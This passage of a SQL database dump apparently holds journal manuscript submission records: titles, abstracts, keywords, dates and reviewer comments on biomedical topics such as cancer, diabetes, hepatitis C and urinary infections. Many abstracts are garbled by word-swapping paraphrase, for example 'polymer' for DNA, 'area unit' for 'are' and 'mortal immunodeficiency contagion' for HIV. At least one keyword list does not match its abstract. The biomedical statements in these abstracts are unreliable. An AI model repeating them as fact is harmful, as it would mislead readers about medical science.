7.09 +_0.54, Albumin 4.11 + 0.59 globulin 2.98 + 0.58. The mean value for serum electrolyte; sodium ion 137.56 + 4.47, potassium ion 3.73 ± 0.53, Bicarbonate 21.90 ± 2.22, chloride 94.78 ±11.80. For non-myeloproliferative disorder subjects 140.09 + 3.09, 4.18 + 0.51, 25.90 + 1.56, 101.40 + 177. The mean value of myeloproliferative disorder subjects to non myeloproliferative disorder subjects were significantly low P(<0.05) from this research, the myeloproliferative disorder has affected these value by causing their decrease except for globulin which fall within the range.','protein, electrolytes, myeloproliferative disorders',3460,NULL,'2022-07-27',NULL,'Submitted',2,NULL,'2022-08-03',NULL,1,1,'0','accept',0,'','',NULL,0,0,0,NULL,0),(12886,13107,959,0,NULL,'Including migrant cancer patients in research: A multisite pilot irregular controlled trial testing consultation audio-recordings and question prompt lists',NULL,25,0,'','Oncology patients WHO area unit migrants or refugees face worse outcomes because of language and communication barriers impacting care. Interventions like consultation audio-recordings and question prompt lists might prove helpful in mediating communication challenges. However, coming up with sturdy analysis inclusive of patients WHO don\'t speak English is difficult. This study thus aimed to: a) pilot take a look at and assess the appropriateness of the planned analysis style and ways for partaking migrant populations, and b) confirm whether or not a multi-site RCT affectivity assessment of the communication intervention utilising these ways is possible','Cancer Migrants; Communication; Clinical Trials; Consultation recording; Question prompt lists; culturally and linguistically Diverse (CALD); Consultation audio-recording',5400,NULL,'2022-07-28',NULL,'Submitted',4,NULL,'2022-08-12',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12888,13108,959,0,NULL,'Bone Mineral Content and Mechanical Characteristics Fluctuate Both Temporally and Spatially During Breast Cancer Bone Metastases',NULL,19,0,'','The leading factor in cancer patient mortality, metastasis occurs when cancer cells spread from a primary tumour location and colonise an additional organ. For 70–80% of patients with metastatic breast cancer, cancer cells prefer to metastasize to bone tissue. They can cause bone disintegration (osteolysis) or tissue creation through a process known as osteoplastic metastasis. Invasion of the skeletal environment by metastatic disease causes excruciating pain, a higher risk of fracture, compression of the nerves, and hypercalcemia. The coordinated actions of osteocytes, osteoblasts, and osteoclasts in healthy bone regulate bone tissue composition and structure and guarantee a continuous remodelling process in response to mechanical cues brought on by skeletal loads .To comprehend crack defencelessness following metastasis, bone mineral thickness (BMD) investigation and mechanical appraisal have been led to portray bone tissue from patients with bone metastases. Miniature CT examinations of the femoral diaphysis of patients with blended disease metastases (lung, bosom, prostate, 53-78 years of age) uncovered essentially diminished mean BMD in cadaveric cortical bone in patients with metastases. Mechanical tests were performed on persistent cortical bone examples with metastatic sores and contrasted with malignant growth free bone areas (Kaneko et al., 2003), which uncovered fundamentally bring down Young\'s modulus, yield strength and extreme strength under pressure, as well as lower Young\'s modulus under strain.','osteocytes, osteoblasts, sarcoma, osteoplastic metastasis',5400,NULL,'2022-07-28',NULL,'Submitted',4,NULL,'2022-08-12',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12889,13109,959,0,NULL,'Cancer Therapy and Beyond: Current Standing, Drug Candidates, Associated Risks and Progress in Targeted Medical Specialty',NULL,19,0,'','Cancer may be a heterogeneous and complex malady during which a series of genomic/molecular alterations cause the uncontrolled growth and proliferation of the cells, inflicting a speedy increase in tissue mass within the affected components of the body. Beneath traditional conditions, a cell gets signals to die to come after the organism with a young and healthier cell. Cancer cells grow victimisation the body\'s element and supplements, depriving different cells of normal supplements and growth factors. These cells will flip the microenvironment in their favor, deceive the system of the body, and might exploit the physiology of different cells to accommodate their wants. Via a number of the biomarkers that square measure presently been accustomed sight cancer embody human canal super molecule four (HE4), carcinoembryonic matter (CEA), legumain, mesothelin, osteopontin, and sustenance E-binding protein. \r\nAn embarrassment of anti-cancer medication and natural medicative compounds are devised over the years, which might suppress growth through various mechanisms. A number of the drugs/compounds work on crucial cellular enzymes, whereas others could alter cell metabolism. They need conjointly shown the potential to interfere with some essential cellular processes, e.g., programmed cell death/apoptosis, drug resistance, DNA damage, polymer replication, or immune reactions. These medications have distinct modes of action and property for multiple cancer types but, refined alteration to their chemical structure may get rid of their anti-cancer efficiency.\r\n','Polycystic ovarian syndrome; Sonography; Infertility; PCOS',5399,NULL,'2022-07-28',NULL,'Submitted',4,NULL,'2022-08-12',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12890,13110,959,0,NULL,'DNA Repair Pathways are triggered to keep up Genetic Stability and Integrity',NULL,25,0,'','Cancer order instability arises from numerous defects in DNA-repair machinery, that build cancer cells a lot of vulnerable to polymer targeting agents. The interrelatedness between polymer repair deficiency and therefore the multiplied impact of polymer targeting agents highlights the double-strand break (DSB) repair that contains the homologous recombination (HR) and non-homologous finish change of integrity (NHEJ) pathways. The polymer targeting agents area unit classified into 2 major groups: non-covalent polymer binding agents and valence DNA-reactive agents. Though these agents have well-known limitations, like resistance and secondary carcinogenesis risk, they\'re very necessary in today\'s real-life cancer medical care together with targeted medical care and therapy. Indeed, polymer targeting medicine area unit promising medicine with an exact application through the background of cancer-specific polymer repairs failure. Within the current review, the mechanisms of action of wide-ranging DNA-targeting agents, also because the modulation of polymer repair pathways to extend the DNA-damaging medicine efficaciousness area unit given. Finally, DNA-targeting-based therapies area unit mentioned considering risks, resistance and its uses within the medication preciseness era.','Necrobiosis; Antineoplastic; Tumour; Carcinogenesis; Homologous Recombination',5400,NULL,'2022-07-28',NULL,'Submitted',4,NULL,'2022-08-12',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12891,13111,959,0,NULL,'Cell-penetrating peptides as a part of medicine employed in cancer analysis',NULL,19,0,'','Peptides have gained a lot of and a lot of interest as medicine for various fields of medical indications. Designed up via a bond from present amino acids they stand out by their high target property and smart biocompatibility. However, exploitation chemical amide synthesis conjointly modifications square measure simply introduced and supply varied opportunities to fine-tune their activity spectrum. one among the most areas of the worldwide amide market is medicine and through the past years, several amide medicine with anti-tumor activity are according that evoke metastasis in malignant cells or evasion of necrobiosis. Cell-penetrating peptides (CPPs) square measure a selected cluster of bioactive peptides that may be naturally or synthetically derived and have the flexibility to autonomously translocate in cells and transport varied cargoes with them. These versatile carriers are wide accustomed deliver completely different sorts of therapeutic molecules, and have conjointly found application in cancer analysis. Within this review we\'ll summarize recent efforts created during this direction with a spotlight on the precise cancer indications that CPP-related medicine are developed and studied.','Micro propagation; Antioxidant Immunogenicity; pharmacokinetic; chemotherapeutics',5400,NULL,'2022-07-29',NULL,'Submitted',4,NULL,'2022-08-12',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12892,13112,91,0,'ijddr-22-12892','In silico analysis of potential antidiabetic phytochemicals from Occimum Santum against PTP1B and Aldose Reductase in Diabetes Mellitus',NULL,5,0,'','Objective: The aim of the present study was to assess bioactive compounds found in Tulsi as potential antidiabetic activity using molecular docking and to provide scientific justification in term of its active ingredient to target protein for prevention and symptomatic treatment of diabetics.\r\nMethods: The active compounds of Ocimum sanctum is to reveal its potentiality by molecular docking analysis to find out its potent compound against Diabetics which was done by Lipinski\'s rule in docking analysis. \r\nResults: A wide range of docking score found during molecular docking analysis. Among the compounds Alpha¬-farnesene  and Benzene, 1,2-dimethoxy-4-(1-propenyl)exhibited the best binding interaction with in the active site of the PTP1B  protein through hydrogen bonding interaction.\r\nConclusion: Alpha-farnesene  and Benzene, 1,2-dimethoxy-4-(1-propenyl) is the best compounds for inhibiting of both, as it possessed best value in Molecular docking hence these are the potent antidiabetics compound \r\n\r\n','Keywords: Ocimum sanctum, Molecular docking, Aldose Reductase, Diabetes Mellitus\r\n',4940,NULL,'2022-07-29',NULL,'Submitted',2,NULL,'2022-08-16',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(12895,13115,971,0,'ipaclr-22-12895','Gene Polymorphism of Superoxide Dismutase in Gestational Diabetes Mellitus in Pregnant Women',NULL,14,2,'','Background: Gestational diabetes mellitus is the most common metabolic disorder that develops during pregnancy. GDM can cause major health problems for the mother both during pregnancy and after the baby is born. In addition, the metabolism of the mother\'s kids is abnormal. The study aimed to investigate superoxide dismutase 1 genetic variants in pregnant women diagnosed with gestational diabetes using amplification refractory mutation system analysis.\r\nResults: Our study demonstrated that the frequencies of genotypes in women with GDM were SOD1-AG (90.0%). The study revealed there is a significant difference in the frequency of the genotype of SOD1 between GDM and healthy pregnant women.\r\nConclusions: To the best of our knowledge, this is the first study to indicate that the genotype of SOD1 (A/G rs2070424) has a significant impact on the development of gestational diabetes mellitus in Egyptian women.\r\n','Gestational diabetes, superoxide dismutase 1 gene, genetic polymorphism, oxidative stress.',3761,NULL,'2022-07-31',NULL,'Submitted',2,NULL,'2022-11-14',NULL,1,1,'1','A well written paper of an interesting topic. Brief, to -the-point discussion section, good reference list.\r\nI fell the paper could be published in its present form.',0,'','',NULL,0,0,0,NULL,0),(12897,13117,251,0,'ipacm-22-12897','Human Immunodeficiency Virus and AIDS Virus',NULL,5,0,'','UNAIDS estimates that encyclopedically36.7 million people, including2.1 million children, were living with mortal immunodeficiency contagion (HIV) infection in2016.1 the number of people who acquired HIV infection in 2016 was1.8 million. Since the launch of the epidemic, 35 million people have failed of acquired vulnerable insufficiency pattern (AIDS)- related ails. ','HIV; mortal immunodeficiency contagion; health issues; comorbid, marquee review',3944,NULL,'2022-08-02',NULL,'Submitted',2,NULL,'2022-08-11',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12898,13118,251,0,'ipacm-22-12898','Viral Diseases: Attachment and Genome Replication, cell killing',NULL,5,0,'','Nearly one thousand different types of contagions are known to infect humans and it\'s estimated that they regard for roughly 60 of all mortal infections. Contagions are spread fluently through unrestricted surroundings similar as the home, seminaries, workplaces, transport systems, etc. Although numerous of the respiratory and gastrointestinal infections caused by contagions can be asymptomatic or fairly mild and tone- limiting (coughs and snap, etc.), they still represent a significant profitable burden. Adding figures of people who have reduced impunity to infection, for whom the consequences of infection can be much more serious, are now watched for at home. At threat groups include not only the immunocompromised but also the senior, babes, pregnant women,  sanitarium cases discharged into the community, individualities using immunosuppressive medicines and also those using invasive systems( indwelling catheters) or inhalation systems or bias. Else healthy family members with asthma or disinclinations also have increased vulnerability to infection. In the UK it\'s estimated that one in six people in the community belong to an ‘at threat’ group. World Health Organisation estimates suggest that, by 2025, there will be further than 800 million people over 65 times old in the world, two- thirds of them in developing countries.','Viral Diseases, clinical virology, Rotavirus',4706,NULL,'2022-08-03',NULL,'Submitted',2,NULL,'2022-08-10',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12899,13119,975,0,'ipjbs-22-12899','Brief notes on Engineered Biology Goes Cell-Free',NULL,5,0,'','Without cell frameworks (CFS) have as of late advanced into key stages for manufactured science applications. Numerous manufactured science devices have generally depended on cell-based frameworks, and keeping in mind that their reception has shown extraordinary advancement, the requirements inborn to the utilization of cell has have restricted their span and degree. Without cell frameworks, which can be considered programmable fluids, have eliminated a large number of these intricacies and have achieved energizing open doors for normal plan and control of organic frameworks. Here we audit how these straightforward and available enzymatic frameworks are ready to speed up the pace of headway in manufactured science and, all the more comprehensively, biotechnology.','Bio production; Cell frameworks; Human wellbeing',4089,NULL,'2022-08-03',NULL,'Submitted',2,NULL,'2022-08-08',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12900,13120,639,0,'ipfs-22-12900','Brief history of fish paythology',NULL,5,0,'','There are ongoing developments in the understanding of bacterial fish pathogens. New and emerging diseases are regularly recognised especially in aquaculture. Great emphasis is placed on better diagnoses, pathogenicity mechanisms, and disease control especially by immunoprophylaxis. There is an interaction between some pollutants and occurrence of fish diseases. Some fish pathogens may also cause disease of humans, and include Edwardsiella tarda, Mycobacterium fortuitum, Myc. marinum, Photobacterium damselae, Pseudomonas fluorescens, Streptococcus iniae and Vibrio vulnificus.','Septic Tank; Fish Disease; Fish Pathogen; Acylated Homoserine Lactone; Mycobacterium;  Fortuitum',3205,NULL,'2022-08-04',NULL,'Submitted',14,NULL,'2023-01-31',NULL,1,1,'1','Accept ',0,'','',NULL,0,0,0,NULL,0),(12901,13121,86,0,'ipaom-22-12901','A KAP STUDY ON SCABIES',NULL,14,0,'','The prevalence & complications of scabies make it’s a noteworthy communal health problem in the developing world, with an out of proportion burden seen in overcrowded population, with unhygienic conditions\r\n•	To evaluate the frequency or burden of scabies among the people of Korangi,  Karachi.\r\n•	To know the level of awareness about the disease, its risk factors & prevention.\r\n','Scabies ',2890,NULL,'2022-08-04',NULL,'Submitted',4,NULL,'2022-08-24',NULL,1,1,'1','Kindly accept',0,'','',NULL,0,0,0,NULL,0),(12904,13126,1020,0,'ipmedt-22-12904',' Strength and Recondition of DNA in Pyrolobus fumarii Archaea',NULL,25,0,'','Evolutionary and physiological concerns argue that study of pyrolobus fumarii archaea ought to\r\nreveal new molecular aspects of DNA stabilization and repair. So far, these uncommon prokaryotes have\r\nyielded variety of genes and catalyst activities consistent with known mechanisms of excision repair,\r\nPhoto-reversal, and trans-lesion synthesis. However, other DNA enzymes of pyrolobus fumarii archaea\r\nshow novel organic chemistry properties which can be related to DNA stability or repair at extraordinarily high\r\ntemperature however that stay diffi cult to gauge rigorously in vivo. Maybe the foremost putting feature of\r\npyrolobus fumarii archaea is that every one of them whose genomes are sequenced lack key genes of each the ester excision repair and DNA couple repair pathways, that area unit otherwise extremely preserved in biology. Though the expansion properties of those micro-organisms hinder experimentation, there is evidence that some systems of excision repair and mutation rejection operate in Sulfolobus spp. It will therefore be of strategic signify cancer within the next few years to formulate and check hypotheses in Sulfolobus spp. and alternative Pyrolobus fumarii archaea concerning mechanisms and cistron product concerned within the repair of actinic ray photoproducts and DNA mismatches.\r\n','excision; Pyrolobus fumarii ; mutation; Gram-positive bacteria',5042,NULL,'2022-08-08',NULL,'Submitted',2,NULL,'2022-08-25',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12905,13127,975,0,'ipjbs-22-12905','ASSESSMENT OF RENAL FUNCTION IN PATIENTS WITH TYPE II DIABETES IN HOSPITALS OF THE NDE DEPARTMENT',NULL,14,0,'','Type II diabetes is a major public health problem with high mortality in low and middle income countries. The presence of anti-diabetic drugs has improved the lives of diabetic patients and only complications such as kidney damage aggravate the disease. Therefore, diagnosis and identification of clinical predictors of the development of renal dysfunction are essential for better disease management. For this reason, we sought to assess the risk factors for renal dysfunction in type II diabetic patients in the NDE hospitals. We conducted a descriptive cross-sectional study in 100 Patients of which 70 were males and 30 females for a sex ratio of 2.33 over a 3-month period from August to October 2021. After completing a questionnaire, parameters such as creatinine and cystatin C were measured by spectrophotometry and nephelometry respectively. Renal function was then assessed by calculating glomerular filtration rate using the MDRD formula. Finally, risk factors were determined using the statistical test of logistic regression. The risk factors obtained after univariate and multivariate analysis were obesity and hypertension.  In our population, 19% had moderate renal failure and 12% had severe renal failure. The GFR of the MDRD creatinemia in some patients was significantly higher than that of cystatin C. This would mean that cystatin C is an excellent predictive marker for early renal failure.','blood creatinine, cystatin C, glomerular filtration rate, diabetes, risk factors',4089,NULL,'2022-08-08',NULL,'Submitted',2,NULL,'2022-08-25',NULL,1,1,'0','accept',0,'','',NULL,0,0,0,NULL,0),(12906,13128,326,0,'IPJUS-22-12906','Hydrocele Surgery Treatment and Management',NULL,5,0,'','In mean vaginal hydrocele is the most common morbidity due to Wuchereria bancrofti. Diagnosis is straightforward most of the time but when the swelling is not transilluminant, patients in whom the diagnosisis in doubt, children with hydroceles and those with co-morbid conditions should have ultrasonography to differentiate these swellings [1]. Studies on the effect of medical treatment with diethylcarbamazine on the size of hydroceles are inconclusive. The only effective treatment for hydrocele issurgery as the minimally in invasive therapy like aspiration and sclerotherapy are known to have high recurrence rates. Several surgical options are available for managing hydrocele but the recommended operation is hydrocelectomy, i.e. a subtotal excision of the parietal layer of the tunica vaginalis leaving a rim of approximately one-centimeter width around the testis and epididymis.','Filariasis; Hydrocele; Surgery',2505,NULL,'2022-08-08',NULL,'Submitted',2,NULL,'2022-10-31',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12907,13105,975,0,'ipjbs-22-12907','PREVALENNCE OF ISOLATED AGENT IN DIARRHOEAL INFECTIONS OF CHILDREN O - 3 YEARS IN ANAMBRA STATE IN RELATION TO SEX: A SURVEY OF FIVE RURAL COMMUNITIES',NULL,14,0,'','A random sample of a population size of 600 was utilized in the study; comprising of 300 males and 300 females. There were no problems in collecting samples from the hospitals and clinics in Enugu.  It was conveniently carried out with the permission of the Health-workers in charge. Examination of samples were carried out in the Department of Parasitology Laboratory, Anambra State University of Technology, Awka Campus. Stool and blood samples were collected.  Disposable sterile containers were used for collection of stool samples. Samples were collected in such a way as to ensure non contamination with urine, so as to avoid lysis of the trophozoites on contact with water. The prevalence of the isolated agent does not show any signi¬ficant difference in relation to sex.  From the observed 611 isolated agents, 258 (42.2%) was recorded for males while 353 (57.8%) was for females.  Also, for organism like E. coli, it was observed that 33 or 5.4% and 42 or 6.9% were for males and females respectively. Generally, therefore, it was established that the prevalence of isolated agents is independent of or not associated with sex of patients.','prevalence, diarrhea, children 0-3 years, sex rural communities',4089,NULL,'2022-08-08',NULL,'Submitted',2,NULL,'2022-08-22',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(12908,13129,326,0,'IPJUS-22-12908','Uterine Fibroid Surgery and Myomectomy',NULL,19,2,'','Uterine fibroids (leiomyomas or myomas), benign monoclonal tumors, are the most common benign tumors in women. Heavy or prolonged menstrual bleeding, abnormal uterine bleeding, resultant anemia, pelvic pain, infertility, and/or recurrent pregnancy loss are generally associated with uterine fibroids. Although curative treatment of this tumor relies on surgical therapies, medical treatments are considered the first-line treatment to preserve fertility and avoid or delay surgery. The aim of this review is to provide available and emerging medical treatment options for symptomatic uterine fibroids. Literature review and consensus of expert opinion. Many uterine fibroids are asymptomatic and require no intervention, although it is advisable to follow-up patients to document stability in size and growth. ','Uterine fibroids; GnRH receptor',2505,NULL,'2022-08-09',NULL,'Submitted',12,NULL,'2023-02-17',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12910,13116,251,0,'ipacm-22-12910','Seroprevalence versus active HCV infection in hemophilia and thalassemia patients, Shiraz, Iran',NULL,5,0,'','Hepatitis C virus (HCV) is the one of the major infections transmitted through the bloodstream. Thalassemia and hemophilia patients because of regular blood transfusions are more prone to HCV infection. This study conducts to determine the prevalence of HCV, HCV viral load, genotype pattern and risk factors in thalassemia and hemophilia patients in Iran. \r\nAmong 4916 suspected HCV infection patients, referred to Prof. Alborzi Clinical Microbiology Research Center, Shiraz, Iran, from 2004 to 2019, the HCV seroprevalence rate and the HCV RNA load and genotypes was determined by the enzyme-linked immunosorbent assay and one-step Taq Man real-time PCR.\r\nAmong 4916 patients were assessed for the study, 440 were with thalassemia and 162 with hemophilia. The prevalence of HCV-Ab positivity among thalassemia and hemophilia patients was 58.9% and 87%, respectively. The most prevalent genotype was Gt-1, which was detected in 56.81% of the patients whose genotypes were assessed. The HCV viral load was generally higher among HCV seropositive patients compared to HCV seronegative patients.\r\nPrevalence of hepatitis C among hemophilia and thalassemia patients was high. Since in these high-risk groups didn’t find any independent risk factor for HCV, it can be concluded that multi-transfusion is the only predictor for hepatitis C.','Hepatitis C Virus, Thalassemia, Hemophilia, Risk Factors, Blood Transfusion, Real-Time PCR',784,NULL,'2022-08-09',NULL,'Submitted',2,NULL,'2022-08-26',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12911,13105,975,0,'ipjbs-22-12911','CHROMIUM (CR) BIOSORPTION, FROM HIGH ENERGY BATTERY (HEB) EFFLUENT USING FUNGI',NULL,14,0,'','In the current industrialized world, use of batteries have gained importance as a result of its high performance and energy storage system. Though, battery was considered safe and produced less carbon foot print, it also has its ill effects such as heavy metal contamination in water and soil, which is also at its threshold to be addressed. Here comes the concern, about the elevated heavy metal concentration especially chromium in the environment and its health hazards exerted over all living organisms. Thus, as an approach towards the biosorption of chromium from environment, fungal isolates obtained from soil samples of HEB effluent were screened for their resistance and efficiency. Among the 36 fungal isolates attained, Aspergillus was found to be most predominant in both eastern and western area, as well as more resistant to chromium even at 1000 ppm. On further optimization of pH, Temperature, incubation period, carbon source, nitrogen source and phosphorous, it concluded that medium with Glucose, malt extract and potassium dihydrogen phosphate at pH 5 showed significant growth and proficient absorption of chromium under static condition. The 18s rRNA gene sequencing of the effectual organism revealed to be Aspergillus niger (KY354579) with 99 % according to BLAST analysis.','Industrialization, Environmental Contamination, Health Hazards, Resistance, Growth Factors, Aspergillus spp.',4089,NULL,'2022-08-09',NULL,'Submitted',2,NULL,'2022-08-22',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(12912,13131,45,0,'iphsj-22-12912','Metabolic Syndrome and its Associated Factors among adult patients attending Outpatients Clinics at Wolaita Sodo University Comprehensive Specialized Hospital, Ethiopia',NULL,14,0,'','Background: Metabolic syndrome is a group of medical and biological abnormalities that lead to a high risk of type 2 diabetes, cardiovascular disease, and liver infections. It is a grouping of many clinical features, including central obesity, high blood pressure, high concentrations of fasting glucose and triglycerides, low level of high-density lipoprotein cholesterol, and insulin resistance. However, there is an information gap in the less developed countries, including Ethiopia, for patients and clinicians. Hence, this study aimed to assess metabolic syndrome and its associated factors among adult patients attending outpatients’ clinics at Wolaita Sodo Comprehensive Specialized hospital.\r\nMethod: Institutional based cross-sectional study was carried out from November 02, 2020 to January 30, 2021. A randomly selected 327 adults attending outpatient clinics at Wolaita Sodo Comprehensive Specialized Hospital were included in the study. Pre-tested questionnaire were used to gather data on socio-demographic, anthropometric measurement, and biochemical parameters. Variables with P-value <0.25 in the bivariate logistic were taken into multivariable logistic regression analysis along with 95% confidence interval and Odds Ratio was used to examine the association between Metabolic syndrome and independent variables.  P -value< 0.05 was taken as statistically significant.\r\nResult: The overall prevalence of metabolic syndrome in this study was 52.6% with 95%CI (42.5%-65.1%). Factors associated with Metabolic Syndrome among adult patients were female  65.1% as compared to men, 42.5% (AOR= 5.13, 95%CI=1.75-14.98), older age groups of 43-59 and 60-88 (AOR=4.53, 95%CI=1.77-11.62) and (AOR=8.62, 95% CI=2.36-31.59) respectively. The occurrence of metabolic syndrome increased 7.80 fold in overweight and 12.8 fold in obese individuals (AOR=7.80, 95%=6.29-9.67) and (AOR= 12.82, 95%CI=4.96-33.14) respectively. The lack of regular exercise (AOR=2.57, 95%CI=1.44-4.59), smoking cigarettes (AOR=2.09, 95%CI=1.30-3.36) and alcohol drinking (AOR=3.34, 95%CI= 1.83-6.12) were significantly associated with increased the risk of metabolic syndrome.\r\nConclusion: More than half of adult patients have metabolic syndrome. The prevalence of metabolic syndrome in women is higher than in men and increases with age. Periodic screening and regular physical activity should be recommended.','metabolic syndrome, outpatients, Obesity',4902,NULL,'2022-08-09',NULL,'Submitted',2,NULL,'2022-09-22',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12913,13132,1020,0,'ipmedt-22-12913','Exploring Biochemistry and Cellular Biology with Protein Libraries',NULL,15,0,'','Polypeptide libraries solid a broad web for outlining protein and binding supermolecule specificities. Additionally to uncovering rules for molecular recognition, the binding preferences and practical cluster tolerances from such libraries will reveal mechanisms underlying organic chemistry and cellular processes. Ligands obtained from supermolecule libraries can even provide pharmaceutical lead compounds and even reagents to more explore cell biology. Here, we review selected recent samples of supermolecule libraries demonstrating these principles. Specifically, we tend to specialise in combinatorial libraries composed of randomized peptides or variations of one super molecule. The characteristics of assorted techniques for library constructions and screening are in short surveyed.','mutagenesis; Phage display; Ribosome display; photo-crosslinking; SPOT-synthesis',5042,NULL,'2022-08-10',NULL,'Submitted',2,NULL,'2022-08-25',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(12914,13133,1020,0,'ipmedt-22-12914','Review of Protein Pathway System by Utilizing Compound Resources',NULL,15,0,'','Basic issue with proteomics and systems biology. An enormous quantity of knowledge about many organisms has been gathered during the last ten years, both at the genetic and metabolic levels. Collected, organised, and methodically kept in a variety of niche databases, including KEGG,EcoCyc, MetaCyc, ENZYME, and BRENDA. With the use of these data, it is now possible to such a crucial issue. In this article, we examined established regulatory mechanisms in utilising various (biological and visual) features extracted from each of the 17,069 protein-formed systems, 169 of which are recognised regulatory pathways, or positive pathways.KEGG pathways were used, however 16,900 of them were unfavorable—that is, they weren\'t formed as biologically meaningful route. Through cross-validation, it was discovered that the overall success rate in identifying the good paths was 79.88 percent. Although the results are still preliminary, it is hoped that this innovative technique and good outcome will inspire further research into this crucial issue.','protein-forming system; regulatory pathway; minimum redundancy maximum relevance; gene ontology; biological graphic feature',5042,NULL,'2022-08-10',NULL,'Submitted',2,NULL,'2022-08-25',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(12916,13134,959,0,'ipacr-22-12916','The impact of COVID-19 on cancer care and oncology clinical research',NULL,5,0,'','New approaches to medical specialty trials, with specialize in geographical cultural variations in telemedicine and remote watching Innovative clinical trials, together with the role of real-world information. The new problem-focused cooperative framework we tend to envision. The coronavirus disease pandemic guarantees to possess lasting impacts on cancer clinical trials that would result in quicker patient access to new treat oncology researchments. During this article, a world panel of medical specialty specialists discusses the lasting impacts of the pandemic on medical specialty runs and proposes solutions for clinical trial stakeholders, with the support of recent information on worldwide clinical trials collected by IQVIA. These lasting impacts and projected solutions cover 3 topic areas.  Firstly, acceleration and implementation of recent operational approaches to medical specialty trials with patient-centric, absolutely decentralized virtual approaches that embrace remote assessments via telemedicine and remote devices. Geographical variations within the uptake of remote technology, as well as telemedicine, are mentioned within the article, specializing in the impact of the native adoption of recent operational approaches. ','Artificial intelligence Informatics; Digital transformation; Cancer Migrants; Communication; Clinical Trials',5400,NULL,'2022-08-11',NULL,'Submitted',2,NULL,'2022-08-18',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12917,13135,959,0,'ipacr-22-12917','Emerging Metabolomics tools to check Cancer Metastasis',NULL,5,0,'','Metastasis is to blame for ninetieth of deaths in patients with cancer. Understanding the role of metabolism throughout metastasis has been restricted by the event of strong and sensitive technologies that capture metabolic processes in metastasizing cancer cells. We tend to discuss these technologies on the market to check metabolism in primary and pathological process cancer cells and metabolic interactions between cancer cells and also the tumour microenvironment (TME) at completely different stages of the pathological process cascade. We tend to establish blessings and downsides of every methodology and discuss however these tools and technologies can more improve our understanding of metastasis. Studies work the advanced metabolic rewiring of various cells victimisation progressive metabolomics technologies have the potential to reveal novel biological processes and therapeutic interventions for human cancers. Metabolomics rewiring of cancer cells throughout metastasis.','metabolomics technologies; diagnostic prognosis; cancer metastasis cancer metabolism analytical techniques',5399,NULL,'2022-08-11',NULL,'Submitted',2,NULL,'2022-08-18',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12918,13136,975,0,'ipjbs-22-12918','Urinary Tract Infection Prevalence among Patients Who Visited Dr. Lal Path Lab Clinical and Research Laboratory',NULL,5,0,'','Urinary tract infection (UTI) is the most common bacterial infection in the community, with a high morbidity and financial loss rate. Given that urinary tract infections (UTIs) are among the most prevalent bacterial illnesses in adult women, they are significant clinically. The notion that the urine bladder is sterile, which has since been disproved, remains at the core of the present understanding of UTI. As a result, the present guidelines for diagnosing UTIs have serious shortcomings that may limit the chance to enhance patient care. The language of UTI, UTI diagnostic testing, the Escherichia coli-centric concept of UTI, and colony-forming units (CFU) threshold-based diagnosis were the four primary shortcomings we observed to the current UTI definition using data from our work and numerous other peer-reviewed publications. These restrictions can be overcome using modern techniques and technology as well as ongoing, rigorous clinical research. It is estimated that approximately 150 million people worldwide are infected with UTI each year, costing more than $6 billion USD [1]. Urinary tract infection has been shown to be the leading cause of morbidity in the general population and the second leading cause of hospitalization [2, 3]. UTI occurrence is strongly linked to social class, patient age, birth rank, and family size. UTI affects people differently depending on their age and gender. Boys are usually more at risk before the age of three months,','',3460,NULL,'2022-08-12',NULL,'Submitted',2,NULL,'2022-08-22',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(12919,13137,975,0,'ipjbs-22-12919','Vowel Space in Disguise Voice',NULL,14,0,'','The acoustic characteristics of vowels provide vital information on frequency, intensity, formant frequencies etc. The vocal tract is responsible for frequency shaping of the signal from the vocal folds, which is crucial for formant frequencies. Using the first two formant frequencies, the current study was aimed to check the vowel space in various disguise voice. A 35-year-old Telugu native speaker participated in the study. Two types of recordings were made one is by using PRAAT and the other one is by using voice changer app. The participant was asked to phonate three vowels (a, i and u). Formants (F1 and F2) were measured by using PRAAT software. The obtained data was used for further analysis. The paired sample t test reveals that there is a high significant difference between original with women & girl type voices for the first formant. Second formant showed significant difference between original and women type voice. Both F1 and F2 comparisons had a negative mean score, which might be attributed to the original voice’s lower formant frequencies versus the disguised voices higher formants. Overall, the presents study found that the formant frequencies for “man” and “boy” voice types were higher after using the voice changer app, indicating that they were more similar to the original female voice. The vowel space varies and is higher in disguised voices than in normal sounds, despite the fact that all the voices are from the same person. When comparing the regular voice to other disguised voices, the current study findings, according to the author, results can aid in understanding the formants. The formant frequency range is also changed by the gadgets and numerous voice changer apps, which makes it higher than usual.','PRAAT, formant frequencies, disguised voices, vowel space and voice changer app',4089,NULL,'2022-08-12',NULL,'Submitted',2,NULL,'2022-08-25',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(12920,13138,959,0,'ipacr-22-12920','Maintenance aminoalkanoic acid catalyst Inhibitors Following Allogeneic hemopoietic cell Transplantation for Chronic Myelogenous Leukaemia',NULL,5,0,'','It remains unknown whether or not the administration of aminoalkanoic acid enzyme inhibitors (TKIs) targeting BCR-ABL1 once allogeneic haematopoietic cell transplantation (HCT) is related to improved outcomes for patients with chronic Myelogenous leukaemia (CML). during this written account study, we have a tendency to analyzed clinical outcomes of 390 adult patients with CML UN agency underwent transplantation between  